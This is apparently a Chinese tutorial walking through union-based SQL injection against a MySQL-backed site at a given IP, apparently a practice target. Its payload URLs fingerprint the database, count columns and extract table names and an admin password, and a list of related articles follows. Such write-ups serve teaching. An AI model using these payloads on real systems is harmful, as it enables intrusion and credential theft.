sql注入攻击实例mysql_SQL 注入攻击案例
一、检测注入点
二、判断是否存在 SQL 注入可能
三、数据库爆破
四、字段爆破
五、数据库表爆破
六、用户名、密码爆破
七、总结
一、检测注入点
首先,在 http://120.203.13.75:6815/?id=1 目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。
这相当于查询语句:
select * from [表名] where id = '1';
二、判断是否存在 SQL 注入可能
在 http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1',此时的 SQL 查询语句变为:
select * from 表名 where id =1';
SQL 语句未正确结束,因此返回了一个错误页面,如图所示:
继续测试 and 1=1 和 and 1=2:
http://120.203.13.75:6815/?id=1 and 1=1
这相当于 SQL 查询语句:
select * from 表名 where id =1 and 1=1;
SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:
http://120.203.13.75:6815/?id=1 and 1=2
这相当于 SQL 查询语句:
select select * from 表名 where id =1 and 1=2;
SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误,如图所示:
说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。
三、数据库爆破
现在要判断数据库类型以及版本,构造语句如下:
http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。
四、字段爆破
进一步猜测数据注入位置:
http://120.203.13.75:6815/?id=1 order by 10
这相当于 SQL 查询语句:
select * from [表名] where id =1 order by 10;
返回错误,说明字段小于 10:
http://120.203.13.75:6815/?id=1 order by 2
这相当于SQL查询语句:
select * from [表名] where id =1 order by 2;
返回正常页面,说明字段是 2。当字段数很大时,二分查找法的优势比较明显,效率更高。
五、数据库表爆破
确定字段之后,现在要构造联合查询语句 (union select),语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2
可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。
查询数据库版本:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version()
得到结果为版本号 5.5.53,如图所示:
六、用户名、密码爆破
现在把 2 替换掉,先查询数据库名称,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()
浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe,如图所示:
用同样的手法查询表名,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'
浏览器返回 admin,说明表名为 admin,如图所示:
再用同样的手法猜测密码和用户名字段,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin
返回失败,说明字段名称不是 pwd。
重新猜测密码字段,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin
返回成功,说明密码字段名称为 password,且登录密码为 hellohack。
七、总结
要想实现注入,首先要找到 注入点。使用联合查询语句时,需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在 MySQL 中都是可以实现的。
基本步骤:
找到注入点;
判断当前表的字段;
用联合语句查看哪几位是有效位;
查看当前数据库中有哪些表;
查看表中有哪些属性;
查看表中具体的数据信息。
sql注入攻击实例mysql_SQL 注入攻击案例相关推荐
- SpringIOC手动装配(注入):构造器注入,静态工厂注入,实例化工厂注入
1.本篇博客的背景和目的 目前我本人正在学习SpringFramework的知识,这也是这个专栏的主题.我前面的几篇博文中,简单的认识了一下SpringFramework,记录了SpringFrame ...
- SQL注入攻击实现原理与攻击过程详解
SQL注入攻击实现原理与攻击过程详解 结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到 ...
- java 防止sql xxs注入,Java-JSP网站 防SQL注入,防XSS等攻击有什么好的处理办法?...
jsp 来防SQL注入,防XSS等攻击的话,首先要选择PreparedStatement来处理sql语句!同时java后台还需要对页面中接受到的参数进行字符替换! /** * 清除所有XSS攻击的字符 ...
- 【SQL注入-05】布尔盲注案例
目录 1 概述 2 操作环境 3 操作具体步骤 3.1 判断是否存在注入点及注入的类型 3.2 测试数据库库名长度 3.3 逐个测试数据库库名的字符 3.4 测试该数据库中所有表名 3.5 测试use ...
- 【SQL注入-15】自动化注入案例—以sqli-labs-less9为例(利用sqlmap工具)
目录 1 前言 2 自动化注入案例-以sqli-labs-less9为例 2.1 实验平台 2.2 注入前准备 2.3 判断注入点及注入类型 2.3.1 自动判断注入点及注入类型 2.3.2 手动判断 ...
- sql 整改措施 注入_防止SQL注入的五种方法
一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...
- 《小迪安全》第14天 SQL注入:注入类型及提交注入
目录 注入前需要明确 数据库类型 请求方法 数据类型 演示案例 参数字符型注入测试:sqlilabs less 5 6 POST数据提交注入测试:sqlilabs less 11 COOKIE数据提交 ...
- sql盲注特点_SQL注入介绍及分类解读
SQL全称是Structured Query Language,是一种结构化的查询语言,用于与数据库进行交互并能够被数据库解析.SQL注入攻击是一种常见的注入攻击类型.攻击方式在用户与程序进行交互时发 ...
- 【less-1】基于SQLI的SQL字符型报错注入
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 文章目录 实验目的 实验环境 实验原理 实验步骤 第一步 登录SQLI-Labs平台 第二步 登录Kali平台,启动 ...
最新文章
- DeepMind提图像生成的递归神经网络DRAW,158行Python代码复现
- 信息工程大学806自主命题2020年回忆版真题2020年信息工程大学,初试806回忆版
- java 异常_Java 进阶之异常处理
- 矩阵快速幂 - 湘潭大学
- QT 使用全局变量的方法
- 怎么从gitlab上下载别人的代码
- 基于顺序存储结构的图书信息表的修改(C++)
- Oracle 10g学习笔记(一)
- Android优化方案之--Fragment的懒加载实现
- 通俗易懂机器人运动学左乘右乘理解
- 如何利用净推荐值(NPS)测量用户忠诚度?
- 《读书的力量》读后感作文4000字
- Indel (Insertion and Deletion)分析简介
- 基于 8051单片机的线跟随小车
- 20175208 实验一 Java开发环境的熟悉
- 360安全卫士造成Sharepoint文档库”使用资源管理器打开“异常
- 这款免费开源的数据库工具,支持所有主流数据库!
- IDEA 支持python开发
- 【DXP】更换原理图模板的方法
- 【面试】浪潮第一次技术面试过程